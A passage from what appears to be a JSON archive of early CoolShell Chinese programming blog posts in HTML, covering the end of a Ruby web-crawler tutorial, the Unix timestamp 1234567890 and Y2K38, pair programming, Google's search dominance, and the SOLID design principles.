init\n    @first = true\n    self.user_agent_alias = “Windows IE 6″\n  end\n\n  def init\n    @visited = []\n  end\n\n  def remember(link)\n    @visited &lt;&lt; link\n  end\n\n  def perform_index(link)\n    self.get(link)\n    if(self.page.class.to_s == “WWW::Mechanize::Page”)\n      links = self.page.links.map {|link| link.href } - @visited\n      links.each do |alink|\n        start(alink)\n      end\n    end\n  end\n\n  def start(link)\n    return if link.nil?\n    if(!@visited.include?(link))\n      action = @callback.call(link)\n      if(@first)\n        @first = false\n        perform_index(link)\n      end\n      case action\n        when INDEX\n          perform_index(link)\n        when DOWNLOAD\n          self.get(link).save_as(File.basename(link))\n        when PASS\n          puts “passing on #{link}”\n      end\n    end\n  end\n\n  def get(site)\n    begin\n      puts “getting #{site}”\n      @visited &lt;&lt; site\n      super(site)\n    rescue\n      puts “error getting #{site}”\n    end\n  end\nend</pre>\n<p>上面的代码就不必多说了，大家可以去试试。下面是如何使用上面的代码：</p>\n<pre class=\"ruby\">require “crawler”\n\nx = Crawler.new\ncallback = lambda do |link|\n  if(link =~/\\\\.(zip|rar|gz|pdf|doc)\n    x.remember(link)\n    return Crawler::PASS\n  elsif(link =~/\\\\.(jpg|jpeg)/)\n    return Crawler::DOWNLOAD\n  end\n  return Crawler::INDEX;\nend\n\nx.callback = callback\nx.start(”http://somesite.com”)</pre>\n<p>下面是一些和网络爬虫相关的开源网络项目</p>\n<ul>\n<li><a class=\"external text\" href=\"http://arachnode.net/\" rel=\"nofollow\" target=\"_blank\" title=\"http://arachnode.net\"><strong>arachnode.net</strong></a> is a .NET crawler written in C# using SQL 2005 and <a href=\"http://en.wikipedia.org/wiki/Lucene\" target=\"_blank\" title=\"Lucene\">Lucene</a> and is released under the <a href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\" title=\"GNU General Public License\">GNU General Public License</a>.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/DataparkSearch\" target=\"_blank\" title=\"DataparkSearch\">DataparkSearch</a></strong> is a crawler and search engine released under the <a href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\" title=\"GNU General Public License\">GNU General Public License</a>.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/Wget\" target=\"_blank\" title=\"Wget\">GNU Wget</a></strong> is a <a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/Command_line_interface\" target=\"_blank\" title=\"Command line interface\">command-line</a>-operated crawler written in <a href=\"http://en.wikipedia.org/wiki/C_%28programming_language%29\" target=\"_blank\" title=\"C (programming language)\">C</a> and released under the <a href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\" title=\"GNU General Public License\">GPL</a>. It is typically used to mirror Web and FTP sites.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/Grub_%28search_engine%29\" target=\"_blank\" title=\"Grub (search engine)\">GRUB</a></strong> is an open source distributed search crawler that Wikia Search ( <a class=\"external free\" href=\"http://wikiasearch.com/\" rel=\"nofollow\" target=\"_blank\" title=\"http://wikiasearch.com\">http://wikiasearch.com</a> ) uses to crawl the web.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/Heritrix\" target=\"_blank\" title=\"Heritrix\">Heritrix</a></strong> is the <a href=\"http://en.wikipedia.org/wiki/Internet_Archive\" target=\"_blank\" title=\"Internet Archive\">Internet Archive</a>’s archival-quality crawler, designed for archiving periodic snapshots of a large portion of the Web. It was written in <a href=\"http://en.wikipedia.org/wiki/Java_%28programming_language%29\" target=\"_blank\" title=\"Java (programming language)\">Java</a>.</li>\n<li><strong><a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/Ht-//dig\" target=\"_blank\" title=\"Ht-//dig\">ht://Dig</a></strong> includes a Web crawler in its indexing engine.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/HTTrack\" target=\"_blank\" title=\"HTTrack\">HTTrack</a></strong> uses a Web crawler to create a mirror of a web site for off-line viewing. It is written in <a href=\"http://en.wikipedia.org/wiki/C_%28programming_language%29\" target=\"_blank\" title=\"C (programming language)\">C</a> and released under the <a href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\" title=\"GNU General Public License\">GPL</a>.</li>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/ICDL_crawling\" target=\"_blank\" title=\"ICDL crawling\">ICDL Crawler</a></strong> is a <a href=\"http://en.wikipedia.org/wiki/Cross-platform\" target=\"_blank\" title=\"Cross-platform\">cross-platform</a> web crawler written in <a href=\"http://en.wikipedia.org/wiki/C%2B%2B\" target=\"_blank\" title=\"C++\">C++</a> and intended to crawl Web sites based on <a href=\"http://en.wikipedia.org/wiki/Website_Parse_Template\" target=\"_blank\" title=\"Website Parse Template\"><br/>\n</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/27.html\">如何自己写一个网络爬虫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 时间1234567890.html",
    "content": "<html><body><p>“At 11:31:30pm UTC on Feb 13, 2009, Unix time will reach 1,234,567,890.<br/>\nWhere will you be at this momentous second?” – from <strong>Bell Labs</strong> </p>\n<p>在下周五或周六的某一时间，计算机的时间戳（TimeStamp）为变成奇妙的1234567890，而这一天就是——格林威治时间：2009年2月13日 11:31:30 。</p>\n<p> </p>\n<p>当然，因为这个时间在地球上某些地方是13日，某些地方是14日，不同的时区可能会不一样。不过，你可以使用Unix/Linux 下的Perl运行一下这个命令你就知道你的当地时间了。</p>\n<p><span id=\"more-19\"></span></p>\n<p>perl -e ‘print scalar localtime(1234567890),”\\\\n”;’</p>\n<p>对于中国GMT+8（东八区）的时间如下：2009年2月14日 早上7点31分30秒，你会在这一时刻干什么？你会在某个地方做点什么事庆祝一下吗？或是你会因为今天是情人节而在这个时间给你的爱人发个短信吗？呵呵。</p>\n<p>不过，西方某些迷信的还懂编程的朋友们开始显得有点焦虑，因为那天就是传说中的“黑色星期五”（13日星期五）。嘿嘿。</p>\n<p> </p>\n<p>接下来是“科普教育”，名词解释</p>\n<p>1）时间戳：从1970年1月1日 00:00:00 以来的秒数。</p>\n<p>2）Y2K38：因为在Unix下，time_t 被定义成signed int，所以，有符号的32位整型本身有限(2147483647)，某一天这个整型为高位为一（负数），而这一个时间是——格林威治时间2038年1月19日03:14:07 。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19.html\">时间1234567890</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 结对编程的利与弊.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming.jpg\"><img alt=\"cccpairprogramming\" class=\"alignright size-thumbnail wp-image-17\" height=\"150\" src=\"../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" title=\"cccpairprogramming\" width=\"150\"/></a>结对编程(<a href=\"http://en.wikipedia.org/wiki/Pair_programming\" target=\"_blank\">Pair-Programming</a>)可能是近年来最<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming.jpg\"></a>为流行的编程方式。所谓结对编程，也就是两个人写一个程序，其中，一个人叫Driver，另一个人叫Observer，Driver在编程代码，而Observer在旁边实时查看Driver的代码，并帮助Driver编程。并且，Driver和Observer在一起时可以相互讨论，有效地避免了闭门造车，并可以减少后期的code review时间，以及代码的学习成本。</p>\n<p><span id=\"more-16\"></span></p>\n<p>有实验证明，平均下来，结对编程所花费的时候比单人编程增加了10%，但也会比单人编程减少15%的代码BUG。如果再算上后期代码的维护和学习成本，结对编程比单人编程更有效率，还更为节省成本。无论是对开发团队还是对于Business，结对编程都会是非常不错的Programming Practice。</p>\n<p><strong>下面是一些结对编程的优点：</strong></p>\n<ol>\n<li>程序员互相帮助，互相教对方，可能得到能力上的互补。</li>\n<li>可以让编程环境有效地贯彻Design。</li>\n<li>增强代码和产品质量，并有效的减少BUG。</li>\n<li>降低学习成本。一边编程，一边共享知识和经验，有效地在实践中进行学习。</li>\n<li>在编程中，相互讨论，可能更快更有效地解决问题。</li>\n</ol>\n<p><strong><br/>\n当然，结队编程也会有一些不好的地方：</strong></p>\n<ol>\n<li>对于有不同习惯的编程人员，可以在起工作会产生麻烦，甚至矛盾。</li>\n<li>有时候，程序员们会对一个问题各执己见（代码风格可能会是引发技术人员口水战的地方），争吵不休，反而产生重大内耗。</li>\n<li>两个人在一起工作可能会出现工作精力不能集中的情况。程序员可能会交谈一些与工作无关的事情，反而分散注意力，导致效率比单人更为低下。</li>\n<li>结对编程可能让程序员们相互学习得更快。有些时候，学习对方的长处，可能会和程序员们在起滋生不良气氛一样快。比如，合伙应付工作，敷衍项目。</li>\n<li>面对新手，有经验的老手可能会觉得非常的烦躁。不合适的沟通会导到团队的不和谐。</li>\n<li>新手在面对有经验的老手时会显得非常的紧张和不安，甚至出现害怕焦虑的的精神状态，从而总是出现低级错误，而老手站在他们后面不停地指责他们导致他们更加紧张，出现恶性循环。最终导致项目进展效率低下，并且团队貌合神离。</li>\n<li>有经验的人更喜欢单兵作战，找个人来站在他背后看着他可能会让他感到非常的不爽，最终导致编程时受到情绪影响，反而出现反作用。</li>\n</ol>\n<p>是否使用结对编程，需要具体问题具体分析，不可盲目。任何事物都有他的好与坏，结对编程也不例外，只有知道了好与坏，你才能更好的利用它。</p>\n<p>最后，请记住，人是一种非常复杂的动物，他们的缺点和内心的阴暗面可能会比你想像得还要糟糕，而这些东西是可以让一切事物失败的。所以，正如《人件》所说，人才是软件开发中最核心，也是最需要花时间去关注的事情。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5625.html\"><img alt=\"“品质在于构建过程”吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 读后感：房间里的大象：Google文化成为主导.html",
    "content": "<html><body><p>一篇有关<a href=\"http://www.codinghorror.com/blog/archives/001224.html\" target=\"_blank\">Google在互联网市场已经造成垄断事实的文章</a>。</p>\n<p>这里有个有意思的英文常用表达： elephant in the (living) room （房间里的一只大象），一般用来表达事情已经大到没办法睁一只眼闭一只眼了…例如：</p>\n<ul>\n<li>丈夫开始拿单位里年轻的姑娘的照片当壁纸</li>\n<li>公司虽然已经没有说要裁员，但是已经开始停止供应免费的厕所手纸</li>\n<li>我再举例子可能就有人要扔砖了</li>\n</ul>\n<p><span id=\"more-33\"></span></p>\n<p> </p>\n<p>互联网公司（不久的将来会延伸到很多非互联网公司）的成功，已经越来越依赖于自己能不能被搜索到，不能被搜索到的网页其实也就相当于不存在。而文中所点到的是一个大多数人已经知道的事实，那就是Google已经成为这个渠道无可厚非的“独裁者”。如果你是一位网站管理员并有系统的方法(例如：<a href=\"http://www.google.com/search?q=google+analytics\" target=\"_blank\">Google Analytics</a>) 统计用户的来源，你大概会明白这其中的比例 （如果你没有统计方法，估计你在向管理层要预算的时候很难量化）。下表是一个叫 Stack Overflow的网站统计的一个月内访问自己网站的用户中搜索用户的分布：</p>\n<blockquote><p>Search Engine<span> </span>Visits</p>\n<p>Google          3,417,919</p>\n<p>Yahoo           9,779</p>\n<p>Live            5,638</p>\n<p>Search          2,961</p>\n<p>AOL             1,274</p>\n<p>Ask             1,186</p>\n<p>MSN             1,177</p>\n<p>Altavista       202</p>\n<p>Yandex          191</p>\n<p>Seznam          103</p></blockquote>\n<p>是的，如果网站不能被搜到，基本上相当于不存在。</p>\n<p>Anyone else see the <strong>elephant in the room</strong>, there? No? （图片来源自 coding horror）</p>\n<p><a href=\"http://www.newyorker.com/online/2007/05/14/slideshow_070514_banksy?viewall=true\" target=\"_blank\"><img alt=\"Banksy: elephant in room\" border=\"0\" src=\"http://www.codinghorror.com/blog/images/banksy-elephant-in-room.jpg\" style=\"display: block; cursor: hand;\" vspace=\"5\" width=\"560\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/33.html\">读后感：房间里的大象：Google文化成为主导</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 读后感：真正编程的力量.html",
    "content": "<html><body><p>读到 <a href=\"http://www.codinghorror.com/blog/\" target=\"_blank\">coding horror</a> (不知道中文翻译是什么，“代码恐慌”？) 中的文章 <a class=\"title-link\" href=\"http://www.codinghorror.com/blog/archives/000856.html\" target=\"_blank\">Real Ultimate Programming Power</a></p>\n<p>文中讲到了软件开发中的方法论和其的演化，但是最让人觉得有意思的是两个引述：</p>\n<blockquote><p>The majority of developers do not suffer from too much design patterns, or too much SOLID, or agile, or waterfall for that matter. They suffer from whipping out cowboy code in a pure chaos environment, using simplistic drag &amp; drop, data driven, vb-like techniques.</p>\n<p>翻译： 让大多数软件开发者痛苦的，不是过多的设计模式，过多的SOLID(见注解), 过多的敏捷开发，或者瀑布模型；让大多数开发者痛苦的是在混乱的环境中用低级方式除去代码仙人留下来的古怪代码（好吧，这是我对cowboy code的曲解）。</p></blockquote>\n<p><span id=\"more-29\"></span></p>\n<blockquote><p>But here’s the paradox: the types of programmers who would most benefit from these guidelines, rules, principles, and checklists are the least likely to read and follow them. <strong>Throwing a book of rules at a terrible programmer just creates a terrible programmer with a bruise on their head where the book bounced off.</strong></p>\n<p>翻译：…悖论的是，那些最能够从编程指导，规矩，原则和核对清单等方法中收益的人往往是那些最少读这些东西的人。把一本有关编程原则的书扔向一个烂程序员，顶多也就是让他脑袋上多一块淤青，书被弹回来而已。</p></blockquote>\n<p> </p>\n<p>流程对生产软件的作用可能是只有站在改造IBM的Peter Drucker那个高度的人才有价值的（但是，当你站在足够远的地方，地球不也就是一个蓝色的小点儿么？） 一个好的软件的产生，往往还是需要英雄人物的带领，剩下来的，还是人的问题。</p>\n<p>附录：文中引到了一个很有价值的<a href=\"http://www.codinghorror.com/blog/archives/000020.html\" target=\"_blank\">书目 (reading list)</a>： 从《代码大全》，《人月神话》，《点石成金》到《编程珠玑》、《精通正则表达式》，值得一览，在去书店的路上或者在当当网上闲荡的时候可以回顾一下。</p>\n<blockquote><p><a href=\"http://www.codinghorror.com/blog/archives/000020.html\" target=\"_blank\"><img alt=\"经典书目 - 截取自 coding horror 2004年的一篇博文\" class=\"alignnone size-full wp-image-106\" height=\"647\" src=\"../wp-content/uploads/2009/02/ss.jpg\" title=\"经典书目 - 截取自 coding horror 2004年的一篇博文\" width=\"285\"/></a></p></blockquote>\n<p><strong>SOLID:</strong></p>\n<p>five principles are principles of <em>class design</em>. They are:</p>\n<table border=\"1\" cellspacing=\"0\">\n<tbody>\n<tr>\n<td><strong>SRP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/srp.pdf\" target=\"_blank\">The Single Responsibility Principle</a></td>\n<td><em>A class should have one, and only one, reason to change.</em></td>\n</tr>\n<tr>\n<td><strong>OCP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/ocp.pdf\" target=\"_blank\">The Open Closed Principle</a></td>\n<td><em>You should be able to extend a classes behavior, without modifying it.</em></td>\n</tr>\n<tr>\n<td><strong>LSP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/lsp.pdf\" target=\"_blank\">The Liskov Substitution Principle</a></td>\n<td><em>Derived classes must be substitutable for their base classes.</em></td>\n</tr>\n<tr>\n<td><strong>DIP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/dip.pdf\" target=\"_blank\">The Dependency Inversion Principle</a></td>\n<td><em>Depend on abstractions, not on concretions.</em></td>\n</tr>\n<tr>\n<td><strong>ISP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/isp.pdf\" target=\"_blank\">The Interface Segregation Principle</a></td>\n<td><em>Make fine grained interfaces that are client specific.</em></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4844.html\"><img alt=\"“另类” 设计模式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4844.html\">“另类” 设计模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" 